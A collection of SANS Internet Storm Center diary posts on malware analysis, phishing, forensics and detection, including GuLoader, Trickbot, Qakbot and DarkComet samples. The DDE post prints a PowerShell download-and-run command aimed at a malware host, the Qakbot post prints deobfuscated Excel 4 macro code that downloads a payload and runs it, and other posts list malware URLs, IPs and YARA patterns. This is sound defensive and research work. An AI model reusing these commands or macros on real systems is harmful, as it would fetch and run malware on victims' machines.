In diary entry "Unprotecting Malicious Documents For Inspection" I explain how to deal with protected malicious Excel documents by removing the protection passwords.

I created a new version of my plugin plugin_biff that attempts to recover protection passwords with a dictionary attack.

Here I use it with Brad's malicious spreadsheet sample:

It's not possible to determine if the recovered passwords (piano1 and 1qaz2wsx) are the actual passwords used by the malicious actors, or if they are the result of hash collisions (it's only a 32-bit hash). But they do work: you can remove the protections by using these passwords.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I received this phishing email yesterday that seemed very strange with this short and urgent message:

"The Classic version of Outlook Mail will be replaced by our new version. So it's time to verify, before you lose your email access."

Holding and hovering my cursor over the URL, it was pointing to a site which has nothing to do with office (www[.]notion[.]so). The site is described as a All-in-one workspace to share information.

Following the URL, the page kind of look legitimate. However, the Outlook mail icon are just pictures, not posible to select anything. Another good give away that something isn't right in the right corner a picture with Notion. The only option is to "Click Here" which lead to the URL in the picture below.

Following the link, Firefox then provide this warning:

This is tax time which is prime for phishing scams (phone or email), they might have already started in your region. This SANS material [3][4], a poster and a training video, are a good reminder how these scam work. They can be shared with family members and coworkers to help them recongnize, detect and avoid being taken by phishing attacks.

Indicator of Compromise

https://www.notion[.]so/OUTLOOK-MAIL-e8a3b1516dd74f589b3d543bb93f6472 [1]
https://mail0.godaddysites[.]com [2]

[1] https://www.virustotal.com/gui/url/66c05ccf9efefa57705efae249dd8f96dec132c28060f41b361ed0d509a3f50a/detection
[2] https://www.virustotal.com/gui/url/7a7709eb06749d01f37f4611459d237165c1467eeff6488976d51a2de31ed0b9/detection
[3] https://www.sans.org/security-awareness-training/resources/posters/dont-get-hooked (Poster)
[4] https://www.youtube.com/watch?v=sEMrBKmUTPE (SANS Security Awareness: Email and Phishing)
[5] https://www.canada.ca/en/revenue-agency/corporate/security/protect-yourself-against-fraud.html
[6] https://www.irs.gov/newsroom/tax-scams-consumer-alerts
[7] https://ec.europa.eu/taxation_customs/node/1029_en
[8] https://www.gov.uk/government/organisations/hm-revenue-customs/contact/reporting-fraudulent-emails

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Last week I posted about a new Satori variant scanning on TCP port 26 that I was picking up in my honeypots. Things have slowed down a bit, but levels are still above where they had been since mid-July 2020 on %%port:26%%.

In some discussion afterward, a question that came up was where were the attacks coming from. My first thought was to take the IPs and run them through the Maxmind DB to geolocate them and map them. I first looked around to see if there was a Python script that would do the job using the Maxmind and Google Maps APIs. I didn't actually find what I was hoping for. I did find a few things that I can probably make work eventually (and if I have some time after I teach next week), perhaps I'll work more on that. In the meantime, Xavier threw the IPs in Splunk for me and got me some maps to show where the attacks were coming from. Now, it turns out that of the 384 attacks I recorded in 2 of my honeypots over the first 3 or 4 days of the spike, they came from 340 distinct IPs. The verdict is... most of them were coming from Korea. Here's what we got.

And if I zoom in on Asia, we see this

And, finally, I took a look at the US.

So, I'm not sure exactly what to make of all of this. I ran a few of these IPs through Shodan and didn't come up with anything in particular that they seemed to have in common, but maybe I didn't run enough of them.

If nothing else, this has given me some ideas of projects I need to work on when I have some free time. If anyone has any additional insight, I welcome your comments below or via e-mail or our contact page.

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

With more and more workloads migrating to "the Cloud", we see post-breach forensic investigations also increasingly moving from on-premises to remote instances. If we are lucky and the installation is well engineered, we will encounter a "managed" virtual machine setup, where a forensic agent or EDR (endpoint detection & response) product is pre-installed on our affected VM. Alas, in my experience, this so far seems to be the exception rather than the norm. It almost feels like some lessons learned in the past two decades about EDR have been thrown out again, just because ... "Cloud". 

If you find yourself in such a situation, like I recently did, here is a throwback to the forensics methodology from two decades ago: Creating a disk image, and getting a forensic time line off an affected computer. That the computer is a VM in the Cloud makes things marginally easier, but with modern disk sizes approaching terabytes, disk image timelining is neither elegant nor quick. But it still works.

Lets say we have a VM that has been hacked. In my example, for demonstration purposes, I custom-created a VM named "whacked" in an Azure resource group named "whacked". The subscription IDs and resource IDs below have been obfuscated to protect the not-so-innocent Community College where this engagement occurred.

If you have the Azure CLI installed, and have the necessary privileges, you can use command line / powershell commands do forensicate. I recommend this over Azure GUI, because it allows you to keep a precise log of what exactly you were doing.

First, find out which OS disk your affected VM is using:

powershell> $vm=az vm show --name whacked --resource-group whacked | ConvertFrom-JSON
powershell> $vm.storageProfile.osDisk.managedDisk.id
/subscriptions/366[...]42/resourceGroups/whacked/providers/Microsoft.Compute/disks/whacked_disk1_66a[...]7

Then, get more info about that OS disk. This will show for example the size of the OS disk, when it was created, which OS it uses, etc

powershell> $disk=az disk show --ids $vm.storageProfile.osDisk.managedDisk.id

Create a snapshot of the affected disk.  Nicely enough, this can be done while the VM is running. All you need is "Contributor" or "Owner" rights on the resource group or subscription where the affected VM is located

powershell> $snap = az snapshot create --resource-group whacked --name whacked-snapshot-2021FEB20 --source "/subscriptions/366[...]42/resourceGroups/whacked/providers/Microsoft.Compute/disks/whacked_disk1_66a[...]7" --location centralus | ConvertFrom-JSON

Take note of the "location" parameter, it has to match the location of the disk, otherwise you'll get an obscure and unhelpful error, like "disk not found".

powershell> $snap.id
/subscriptions/366[...]42/resourceGroups/whacked/providers/Microsoft.Compute/snapshots/whacked-snapshot-2021FEB20

Next step, we create a temporary access signature to this snapshot. 

powershell> $sas=(az snapshot grant-access --duration-in-seconds 7200 --resource-group whacked --name whacked-snapshot-2021FEB20 --access-level read --query [accessSas] -o tsv)

This allows us to copy the snapshot out of the affected subscription and resource, to a storage account that we control and maintain for forensic purposes:

powershell> az storage blob copy start --destination-blob whacked-snapshot-2021FEB20 --destination-container images --account-name [removed] --auth-mode login --source-uri "`"$sas`""

Take note of the "`"$sas`"" quotation... this is not mentioned in the Microsoft Docs anywhere, as far as I can tell. But the SAS access signature contains characters like "&" which are interpreted by Powershell as commands, so unless you use this exact way of double-quoting the string, the command will never work, and the resulting error messages will be extremely unhelpful.

The "Account-Name" that I removed is the name of your forensics Azure Storage Account where you have a container named "images".  The copy operation itself is asynchronous, and is gonna take a while. You can check the status by using "az storage blob show", like this:

powershell> (az storage blob show -c images --account-name forensicimage -n whacked-snapshot-2021FEB20 --auth-mode login | ConvertFrom-JSON).properties.copy.progress
943718400/136367309312
powershell> (az storage blob show -c images --account-name forensicimage -n whacked-snapshot-2021FEB20 --auth-mode login | ConvertFrom-JSON).properties.copy.progress
136367309312/136367309312

Once both numbers match, all bytes have been copied. In our case, the disk was ~127GB.

Next step, create a new disk from the image. Make sure to pick a --size-gb that is bigger than your image:

powershell> az disk create --resource-group forensicdemo --name whacked-image --sku 'Standard_LRS' --location 'centralus' --size-gb 150 --source "`"https://[removed].blob.core.windows.net/images/whacked-snapshot-2021FEB20`"" 

Then, attach this new disk into a SANS SIFT VM that you have running in Azure for the purpose. In my example, the VM is called "sift" and sits in the resource group "forensicdemo":

powershell> $diskid=$(az disk show -g forensicdemo -n whacked-image --query 'id' -o tsv)
powershell> az vm disk attach -g forensicdemo --vm-name sift --name $diskid

Once this completes, you can log in to the SIFT VM, and mount the snapshot:

root@siftworkstation:~# lsblk
NAME    MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda       8:0    0     4G  0 disk
  sda1    8:1    0     4G  0 part /mnt
sdb       8:16   0    30G  0 disk
  sdb1    8:17   0  29.9G  0 part /
  sdb14   8:30   0     4M  0 part
  sdb15   8:31   0   106M  0 part /boot/efi
sdc       8:32   0    64G  0 disk /plaso
sdd       8:48   0   150G  0 disk 
  sdd1    8:49   0   500M  0 part
  sdd2    8:50   0 126.5G  0 part
sr0      11:0    1   628K  0 rom
root@siftworkstation:~#

Looks like our image ended up getting linked as "sdd2". Let's mount it

root@siftworkstation:/plaso# mkdir /forensics
root@siftworkstation:/plaso# mount -oro /dev/sdd2 /forensics/
root@siftworkstation:/plaso# ls -al /forensics/Windows/System32/cmd.exe
-rwxrwxrwx 2 root root 289792 Feb  5 01:16 /forensics/Windows/System32/cmd.exe
root@siftworkstation:/plaso# sha1sum /forensics/Windows/System32/cmd.exe
f1efb0fddc156e4c61c5f78a54700e4e7984d55d  /forensics/Windows/System32/cmd.exe

Once there, you can run Plaso / log2timeline.py, or forensicate the disk image in any other way desired. If live forensics is more your thing, you can also re-create a VM from the snapshot image (az vm create --attach-os-disk..., with --admin-password and --admin-username parameters to reset the built-in credentials), and then log into it. Of course doing so alters any ephemeral evidence, because you actually boot from the affected disk. But if there is something that you can analyze faster "live", go for it.  After all, you still have the original image in the Azure Storage Account, so you can repeat this step as often as necessary until you got what you need. 

If the VM was encrypted with a custom key, there is an additional hurdle. In this case, $disk.EncryptionSettingsCollection will be "not null", and you additionally need access to the affected subscription's Azure Key Vault, to retrieve the BEK and KEK values of the encrypted disk. If this is the case in your environment, I recommend to take a look at the Microsoft-provided Workbook https://docs.microsoft.com/en-us/azure/architecture/example-scenario/forensics/ for Azure forensics, which mostly encompasses the commands listed above, but also supports private key encrypted VM disks.

Introduction

Malicious spam (malspam) pushing GuLoader malware has been around for over a year now. GuLoader is a file downloader first observed in December 2019, and it has been used to distribute a wide variety of malware, especially malware based on remote administration tools (RATs).  I wrote a blog last year examining malspam using GuLoader for Netwire RAT.  And GuLoader activity has continued since then.

Today's diary reviews a case of malspam pushing GuLoader for Remcos RAT on Tuesday 2021-02-23.

Shown above:  Flow chart for the Remcos RAT infection reviewed in today's diary.

The malspam

Shown above:  Screenshot of the malspam.

The malspam is supposedly from someone in Lowes from Canada.  Below are some email headers associated with this message.

As noted above, the sender is supposedly from lowes-ca.org, but this site is not associated with Lowes. That domain has an open directory for its web server, and it seems like it's being used for malicious purposes.

Shown above:  Lowes-ca.org when viewed in a web browser.

The attachment

I opened the attachment in my lab, but I was on a Windows 10 host running a recent version of Microsoft Office.  Initially, I didn't realize this was a document with an exploit targeting CVE-2017-11882.  I had to switch to an older Windows 7 host to get an infection.

Shown above:  Screenshot of the attachment opened in Excel.

The infection traffic

Infection traffic was typical for what I've seen with previous GuLoader infections for some sort of RAT-based malware.  In this case, the infected Windows host was unable to establish a TCP connection with the server used by this sample for Remcos RAT.

Shown above:  Traffic from the infection filtered in Wireshark.

Forensics on the infected Windows host

The infected Windows host had GuLoader persistent on the infected host using a registry update.  When rebooted, the GuLoader sample again retrieved the encoded binary for Remcos RAT.

Shown above:  GuLoader for Remcos RAT persistent on the infected Windows host.

Indicators of Compromise (IOCs)

Associated malware:

SHA256 hash: 21c4c697c6cba3d1d7f5ae5d768bf0c1d716eccc4479b338f2cf1336cf06b8ad

• File size: 2,231,808 bytes
• File name: Lowes_Quotation_PN#1092021.xlsx
• File description: Email attachment, Word doc with exploit for CVE-2017-11882

SHA256 hash: 6141efb6f1598e2205806c5a788e61c489440dfc942984ee1688bb68ad0f18df

• File size: 106,496 bytes
• File location: hxxp://mtspsmjeli.sch[.]id/Img/VOP.exe
• File location: C:\Users\[username]\AppData\Roaming\win.exe
• File description: Windows EXE, GUI Loader for Remcos RAT

Infection traffic:

GuLoader EXE retrieved through CVE-2017-11882 exploit:

• 103.150.60[.]242 port 80 - mtspsmjeli.sch[.]id - GET /Img/VOP.exe

GuLoader retrieves encoded data for Remcos RAT:

• 103.150.60[.]242 port 80 - mtspsmjeli.sch[.]id - GET /cl/VK_Remcos%20v2_AxaGIU151.bin

Remcos RAT post-infection traffic:

• 192.253.246[.]142 port 2009 - hsyuwbvxczbansmloiujdhsbnbcgywqauaghxvz.ydns[.]eu - attempted TCP connections

Final words

We continue to see new malware samples using exploits based on CVE-2017-11882 in the wild.  This vulnerability is over 3 years old, and exploits targeting it are not effective against the most recent versions of Microsoft Windows and Office.  The only reason we continue to see these new samples is because distributing exploits based on CVE-2017-11882 remains profitable.  That means a substantial number of people still use outdated versions of Microsoft Office and/or Windows that are not properly patched or updated.

GuLoader has been a relatively a constant presence in our threat landscape since it was discovered in December 2019, so I expect we'll also continue to see new samples for various RAT-based malware in the weeks and months ahead.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

Given its history, the Full Disclosure mailing list[1] is probably one of the best-known places on the internet where information about newly discovered vulnerabilities is may be published in a completely open way. If one wishes to inform the wider security community about a vulnerability one found in any piece of software, one only has to submit a post and after it is evaluated by the moderators, the information will be published to the list. Whatever your own thoughts on the issues of full or limited disclosure might be, the list can be an interesting source of information.

Couple of years back, I posted a message to the list about a small vulnerability I found in a plugin for the CMS Made Simple content management system[2]. And last week, to my surprise, I received what appeared to be a reply to my post… Although at a first glance, its contents seemed more than a little suspicious.

The headers in the message showed that although it was really sent in a reply to the post from 2019 (the “In-Reply-To” and “References” headers contained the correct message ID of the original mail), it didn’t go through the mailing list itself.

...
MIME-Version: 1.0
Date: Thu, 18 Feb 2021 17:39:51 +0100
...
Message-ID: <79D7756F0F0A254E2BAAEC82026BE789678AF944@unknown>
Subject: [Jan Kopriva] [FD] Open Redirection vulnerability in Babel (CMSMS
 Module)
...
Content-Type: multipart/mixed; boundary="------------000309030201050000030608"
sender: Fulldisclosure <fulldisclosure-bounces@seclists.org>
X-Priority: 3 (Normal)
From: techis <athena70@...
...
In-Reply-To: <ef820095cca8c21326c29a3c0ef6d547@untrustednetwork.net>
References: <ef820095cca8c21326c29a3c0ef6d547@untrustednetwork.net>
...

The sender address, which may be seen in the picture above (“fulldislosure-bounces … on behalf of”), might make the message appear as if it did originate from the mailing list, however this information, just as the identity of the sender which recipient sees after opening the message, is only based on one of the message headers (in this case “sender”), which means that it may be set almost arbitrarily by the sender.

The attachment contained an XLS file (document-1544458006.xls).

Upon closer inspection, the file turned out to contain Excel 4.0 macros.

In cases of documents with Excel 4.0 macros, I find that to get a quick (and admittedly very dirty) look at their code, it is not a bad idea to simply copy contents of all the Excel sheets with macros into a text file and remove all unnecessary whitespaces. If the macros aren’t heavily obfuscated, this approach may result in something readable. Luckily, this was one of those cases, as you may see from the following code.

=Doc1!AK28()
	=""&""&""&""&""&""&""&""&""&""&""&""&FORMULA(AP41&"2 ",AD15)	=""&""&""&""&""&""&""&""&""&""&""&""&FORMULA(AQ41,AE15)
	=AE14()	=Doc2!AC12()=FORMULA(AO36&AO37&AO38&AO39&AO40&AO41,AO25)
=AG24()
=CALL(AO25,Doc2!AC13&Doc2!AC12&AG25&"A","JJC"&"CBB",0,Doc1!A100,""&""&""&""&""&""&""&""&""&""&""&""&""&""&""&Doc1!AQ30,0)
=AO5()
=REPLACE(Doc1!AQ25,6,1,Doc1!AQ26)	
=REPLACE(AP34,6,1,Doc1!AL12)		URLMon		egist
=AK22()	erServer
=""&""&""&""&""&""&""&""&""&""&""&""&EXEC(Doc1!AD15&Doc1!AQ30&Doc1!AE15&AG24)	r	,	
=HALT()	u	D	
	n	l	..\idefje.ekfd
	d	l	
	l	R	
	l		
	3	File	
		Dow	
	U		
	R		
	L		
	M	URL	
	o		
	n	rundll3	,DllR



="https://jordanbetterworkplace.org/ds/1802."&C100		gif	

=REPLACE(Doc1!AP35,7,7,"nloadTo")
=REPLACE(Doc1!AP39,7,7,"")
=REPLACE(#REF!AB7&#REF!AB8&#REF!AB9&#REF!AB10&#REF!AB11,7,7,"l3")
=Doc1!AH16()

Although there is some elementary obfuscation applied to the code, few of the rows provide a good enough idea of what the macros are probably supposed to do (i.e. most likely download and run the contents of https[:]//jordanbetterworkplace[.]org/ds/1802.gif). The URL was no longer active by the time I got to it, but from a recent analysis of a nearly identical file by the Hatching Triage sandbox[3] as well as threat intelligence data available for the URL itself[4], it is clear that the final payload was supposed to be the Qakbot infostealer.

Although one may only guess at the background, since the e-mail carrying the XLS contained valid message ID of the original e-mail sent to the mailing list in its headers, it is quite probable, that it was really sent in response to the Full Disclosure post. Probably after some threat actor managed to compromise an e-mail account, which was subscribed to the list.

If this was the case, I would however expect not to be the only recipient of a similar message, so if any of our readers is a contributor to the FD list, please let us know in the comments if you’ve received something similar.

Regardless, what brought the message to my attention in the first place (i.e. it appearing as if it was sent through the Full Disclosure mailing list) turned out to be a coincidence more than anything else. It was however a good reminder that similar coincidences do happen and may sometimes lead to recipients receiving very trustworthy looking messages…even though it might not be through intentional activity on the part of the attackers.

Indicators of Compromise (IoCs)
document-1544458006.xls (89 kB)
MD5 - 871f8ff683479dee3546a750e1a04808
SHA1 - 5b1344d6d6148ebdaa508a2b25fa2ce0fed87e57

[1] https://seclists.org/fulldisclosure/
[2] https://seclists.org/fulldisclosure/2019/Mar/11
[3] https://tria.ge/210218-pnw1z6fjv2
[4] https://urlhaus.abuse.ch/url/1017981/

-----------
Jan Kopriva
@jk0pr
Alef Nula

I wanted to take a look at Brad's malicious spreadsheet, using Excel inside a VM.

But I can not make changes or unhide sheets, as the workbook and the sheets are protected:

And the protection password is not "VelvetSweatshop".

Thus I started to remove this protection.

First of all, the malicious spreadsheet is also encrypted: it has an encryption password and protections passwords. But since the encryption password is VelvetSweatshop, the user doesn't have to provide the password to decrypt the document upon opening.

However, I need to decrypt this document first, so that I can remove the protections. I do this with my tool msoffcrypto-crack.py:

When an Office document is encrypted with a password, the content of the document is cryptographically encrypted, and you need the password to decrypt the document. That's what I just did.

When an Office document is protected with a password, the content of the document is not encrypted. The content remains readable (cleartext). However, flags are set so that Excel will prevent you from altering the document. I explain how you can remove this protection by clearing the flags and passwords in my blog post "Quickpost: oledump.py plugin_biff.py: Remove Sheet Protection From Spreadsheets".

For this malicious spreadsheet, I'm going to take a slightly different route: I'm going to "change" the protection passwords (unknown to me) to passwords known to me.

To achieve this, I need to change some bytes in records that make up the Excel spreadsheet. I'm using my tool oledump.py with plugin plugin_biff to locate these records:

BIFF records PASSWORD contain 2 bytes of data: this is a custom hash of the actual password. When these 2 bytes are 00 00, there is no password.

Here the hashes are 41 CB and 4D 91. I'm going to replace these bytes with AB 94. AB 94 is the hash for password P@ssw0rd. So by replacing these bytes, I "replace" an unknown password by a known password.

I use option -R of plugin_biff to get a complete hexdump of the BIFF records (record-type + record-length + record-data), that I then use with a hexadecimal editor to search for these records in the sample file, and replace the hashes' bytes:

Searching for 1300020041cb:

Replacing 41cb with ab94:

Searching for 130002004d91:

Replacing 4d91 with ab94:

Now I have a malicious spreadsheet, that is still protected (workbook and sheets), but now I know the protection passwords (P@ssw0rd).

Final step: I open this modified malicious spreadsheet with Excel inside a VM, unprotect it with password P@ssw0rd, and inspect the malicious Excel 4 macros:

The Excel 4 macro sheet is hidden, but now I can unhide it because the malicious spreadsheet is no longer protected:

Some closing remarks:

• In my blog post "Quickpost: oledump.py plugin_biff.py: Remove Sheet Protection From Spreadsheets" I show how to reset the flags and remove the passwords for protected sheets, here I show how to change the passwords for protected workbook and sheets.
• I could also crack the hashes in stead of replacing them with a known hash. Since this is a 32-bit hash, I expect that cracking it will be fast. Collisions for a 32-bit hash are not rare, with a brute-force attack it's possible that you would obtain a working password that is not the original password.
• I could also unhide the sheets with a hexadecimal editor, as explained in diary entry "Excel Maldocs: Hidden Sheets".
• There are commercial tools that do this manual process for you automatically.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I was asked if the DDE YARA rules I created work with oledump.py on the sample that Xavier wrote about in his diary entry "Dynamic Data Exchange (DDE) is Back in the Wild?".

These rules can be used with YARA directly:

And you can use YARA's option -s to view the string. It will contain the DDE command:

But these rule do not work with oledump.py (I designed them to work with YARA):

oledump.py supports YARA rules through option -y: when you use that option, the provided YARA rules are applied to each individual stream in the ole file (not the complete ole file, like YARA itself does).

But the rules for ole files that I created, contain a test to check if the file is an ole file: uint32be(0) == 0xD0CF11E0

If you suppress this test, you can use these rules with oledump:

In stead of suppressing this test, I created 2 new rules without this test:

rule Office_OLE_DDEAUTO_sa {
  strings:
    $a = /\x13\s*DDEAUTO\b[^\x14]+/ nocase
  condition:
    $a
}

rule Office_OLE_DDE_sa {
  strings:
    $a = /\x13\s*DDE\b[^\x14]+/ nocase
  condition:
    $a
}

And now one of these new rules triggers on the WordDocument stream:

You can use option --yarastrings to display the matched strings:

And I also made a video:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

After I posted diary entry "Quickie: tshark & Malware Analysis", someone asked me how to extract HTTP URLs from capture files with tshark.

Use option -r to read a capture file, and options -T fields and -e http.request.full_uri to let tshark print the full URL of HTTP requests. Problem is that tshark will also output an empty line for each packet. I filter these out with findstr or grep:

Please post a comment if you know how you can avoid these empty lines with a tshark option.

It's also possible to print the full protocol packet tree with packet details, and search this for URLs with my re-search.py tool. The difference here, is that you will find all kinds op URLs, not only for HTTP requests.

For example, many of the URLs seen in this screenshot, are found inside certificates.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

DDE or "Dynamic Data Exchange" is a Microsoft technology for interprocess communication used in early versions of Windows and OS/2. DDE allows programs to manipulate objects provided by other programs, and respond to user actions affecting those objects. FOr a while, DDE was partially replaced by Object Linking and Embedding (OLE) but it's still available in the latest versions of the Microsoft operating system for backward compatibility reasons[1]. If fashion is known to be in a state of perpetual renewal, we could say the same in the cybersecurity landscape. Yesterday, I spotted a malicious Word document that abused this DDE technology.

The document was part of a phishing campaign and delivered as "e-Voucher.doc" (SHA256:de966b0d005dda776a6104f999f294d62c5b1f6b6e5c6f79de5135ec66ba4ee4) with a VT score of only 12/62[2]. Are we facing a new wave of such documents? I searched for similar documents on VT for the last 90 days and spotted only 5 files:

Let's have a look at this sample. Because DDE is used, there is no macro involved:

remnux@remnux:/MalwareZoo/20210218$ oledump.py e-Voucher.doc 
  1:       114 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:      7791 '1Table'
  5:      4096 'Data'
  6:     17502 'WordDocument'

Do we have interesting strings present in the document?

remnux@remnux:/MalwareZoo/20210218$ strings -n 30 e-Voucher.doc | less
 ddeauto "c:\\\\microsoft\\\\office\\\\word\\\\document\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\system32\\\\cmd.exe" "/c powershell.exe (new-object system.net.webclient).downloadfile(' htt
p://fullhash.cloud/tmpl_c/mscalc.exe','%temp%\\mscalc.exe');start-process '%temp%\\mscalc.exe'"  \* mergeformat 
theme/theme/_rels/themeManager.xml.rels
theme/theme/themeManager.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" 
accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>

You can see the magic word "DDEAUTO" followed by a long command line. But how does it work from a Word processing perspective? When you open the document, you see a classic notification asking you to enable content:

The method used to create DDE links is to work with "fields". You can add fields in a Word document. They may of different information types but, in this case, the most useful is "formula". The attacker tried to hide the form behind the picture by using a very small font size:

By inspecting the field and editing its content, we found the same strings as seen above:

Here is a dump of the Powershell command:

c:\microsoft\office\word\document\..\..\..\..\windows\system32\cmd.exe" "/c powershell.exe (new-object system.net.webclient).downloadfile('hxxp://fullhash[.]cloud/tmpl_c/mscalc.exe','%temp%\\mscalc.exe');start-process '%temp%\\mscalc.exe'

The targeted user will have to allow the execution of this command but the document remains very small, macro-less and detected by a low number of antivirus solutions. About the malware (SHA256:01b9193e59e2e91c749bd90201eee08ea80d8ddf6f138ff3b70fc69c95e2a75c), it seems to be a Darkcomet RAT[3].

[1] https://en.wikipedia.org/wiki/Dynamic_Data_Exchange
[2] https://www.virustotal.com/gui/file/de966b0d005dda776a6104f999f294d62c5b1f6b6e5c6f79de5135ec66ba4ee4/detection
[3] https://www.virustotal.com/gui/file/01b9193e59e2e91c749bd90201eee08ea80d8ddf6f138ff3b70fc69c95e2a75c/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

Trickbot malware has been a relatively constant presence in the cyber threat landscape so far this year.  We've seen activity continue this week, and today's diary reviews an infection I generated on Wednesday 2021-02-17.

The infection chain of events:

The email

Shown above:  Screenshot from an example of malspam seen earlier today (Wednesday 2021-02-17).

The spreadsheet

Shown above:  Screenshot of the attached Excel spreadsheet with macros for Trickbot.

Infection traffic

Shown above:  Traffic from an infection filtered in Wireshark.

Forensics on an infected Windows host

Shown above:  Initial Trickbot binary retrieved by the Excel macro.

Shown above:  Scheduled task for Trickbot.

In the above image (double-click on it to get a higher-resolution picture), you can see the Trickbot DLL is not where the scheduled task points to.  When I restarted the infected host, it gave me an error saying it couldn't run the task.  I've noticed this during the past several months from Trickbot infections that use a DLL file as the initial binary.  Unfortunately, I don't know why this happens.

Indicators of Compromise (IOCs)

EXAMPLES OF SUBJECT LINES AND REPLY-TO ADDRESSES:

• Subject: DocuSign: Equipment # 1332
• Subject: DocuSign: Equipment # 9448
• Subject: DocuSign: Equipment # 9722
• Subject: DocuSign: Equipment # 12169
• Subject: DocuSign: Equipment # 23863

• Reply-To: Lease Consultants <cloying@docusign.net>
• Reply-To: Lease Consultants <dianoetic@docusign.net>
• Reply-To: Lease Consultants <modicum@docusign.net>
• Reply-To: Lease Consultants <omidyar@docusign.net>
• Reply-To: Lease Consultants <rumery@docusign.net>

• Note: Sending addresses may have been from email accounts that were compromised.

FILE HASHES FROM ATTACHMENTS SUBMITTED TO VIRUSTOTAL:

MALWARE FROM AN INFECTED WINDOWS HOST:

SHA256 hash: bc033032b6d2afcea2a07f4b5eb5de3137c9fc83c1302fe28a781137168884eb

• File size: 168,960 bytes
• File name: DocuSign_1993467225_1309843348.xls
• File description: Excel spreadsheet with macros for Trickbot gtag rob13

SHA256 hash: e1b67bd8b15bcd422fcbc74fa3b691c40c527ffedc951a6bb8e67ca257240d16

• File size: 698,880 bytes
• File location: hxxps://destinostumundo[.]com/layout/recruter.php
• File location: C:\Users\[username]\HGrt.foste
• File description: Initial Trickbot gtag rob13 binary (DLL file)
• Run method: rundll32.exe [file name],DllRegisterServer1

SHA256 hash: 24bd33f4ba457d77d796620a2cd4b7a3e38d63e2286fec752d898ab7c5204e4b

• File size: 864,256 bytes
• File location: hxxp://195.123.208[.]170/images/control.png
• File description: Follow-up Trickbot EXE file, gtag tot43

SHA256 hash: f0391039f888fb30566295365420868ac8539075e25a690ac4400a8bb91eb803

• File size: 864,256 bytes
• File location: hxxp://195.123.208[.]170/images/scroll.png
• File description: Follow-up Trickbot EXE file, gtag lib43

TRAFFIC TO RETRIEVE THE INITIAL TRICKBOT BINARY (A DLL FILE):

• 98.142.109[.]186 port 80 - destinostumundo[.]com - GET /layout/recruter.php
• 98.142.109[.]186 port 443 (HTTPS) - destinostumundo[.]com - GET /layout/recruter.php

POST-INFECTION TRAFFIC FOR TRICKBOT:

• 108.170.20[.]72 port 443 - HTTPS traffic
• 179.191.108[.]58 port 449 - HTTPS traffic
• port 80 - checkip.amazonaws.com - GET /
• 177.87.0[.]7 port 447 - HTTPS traffic
• 103.102.220[.]50 port 443 - 103.102.220[.]50:443 - POST /rob13/[string with host and infection info]/81/
• 36.95.27[.]243 port 443 - 36.95.27[.]243:443 - POST /rob13/[string with host and infection info]/81/
• 103.102.220[.]50 port 443 - 103.102.220[.]50:443 - POST /rob13/[string with host and infection info]/83/
• 36.95.27[.]243 port 443 - 36.95.27[.]243:443 - POST /rob13/[string with host and infection info]/90

TRAFFIC CAUSED BY TRICKBOT'S PROPAGATION MODULES TO RETRIEVE ADDITIONAL TRICKBOT BINARIES (RETURNED EXE FILES):

• 195.123.208[.]170 port 80 - 195.123.208[.]170 - GET /images/control.png
• 195.123.208[.]170 port 80 - 195.123.208[.]170 - GET /images/scroll.png

ATTEMPTED TCP CONNECTIONS CAUSED BY THE INFECTED WINDOWS HOST:

• 45.14.226[.]115 port 443
• 169.239.45[.]42 port 449
• 92.242.214[.]203 port 449
• 94.158.245[.]54 port 443
• 38.132.99[.]174 port 80

Final words

A pcap of the infection traffic and the associated malware can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

[This is a guest diary by JB Bowers - @cherokeejb_]

With all the talk of secure messenger applications lately, I bet you’d like to have just one more, right?  In the past few weeks, we’ve noticed a new variant on a typical cred-stealer, in this case offering itself up as a new, secure messaging format used over the career website LinkedIn.   

There’s only one problem with this… there is no such thing as a “LinkedIn Private Shared Document”.

Not Quite Secure

Victims will receive an ordinary message, likely from someone which they already are connected with.  These are not from the more recent, unsolicited “InMail” feature, but a regular, internal “Message” on LinkedIn. There is nothing interesting about the message, although it contains a 3rd-party link, claiming to be a “LinkedInSecureMessage” which serves up the nice-looking pdf file shown above.  

If you click “VIEW DOCUMENT,” it opens up a convincing LinkedIn login page.  The example below was originally hosted at dev-jeniferng153(.)pantheonsite(.)io [1]:

This page comes complete with links directing you back to the real LinkedIn.com site, and as well as a cookie called “test,” which is backdated to 1969.

A bit deeper

I wanted to look at a selection of these domains, so I used Urlquery to find similar domains, and as well, used VirusTotal to search for similar 2nd-stage documents.  A common theme here is the use of websites that may also have legitimate work purposes, for example, appspot, firebase, and pantenonsite.  The sites use major ASNs including Fastly, Google, and Microsoft, making basic network traffic analysis for the end-user also not so useful.

Here are a few example domains:

dev-jeniferng153.pantheonsite(.)io
fluted-house-283121.uc.r.appspot(.)com
dev-cloudvpds100.pantheonsite(.)io
earnest-sandbox-295108.ey.r.appspot.com

As you can see after reviewing dozens of these domains, blocking the domains, or even some type of regular expression based on known URLs is not going to get very far.  If you’re not able to block these sites or their corresponding IP addresses altogether, to prevent attacks like this you’ll need to focus on the human element, and of course enforcing good security practices, like avoiding password reuse across websites.

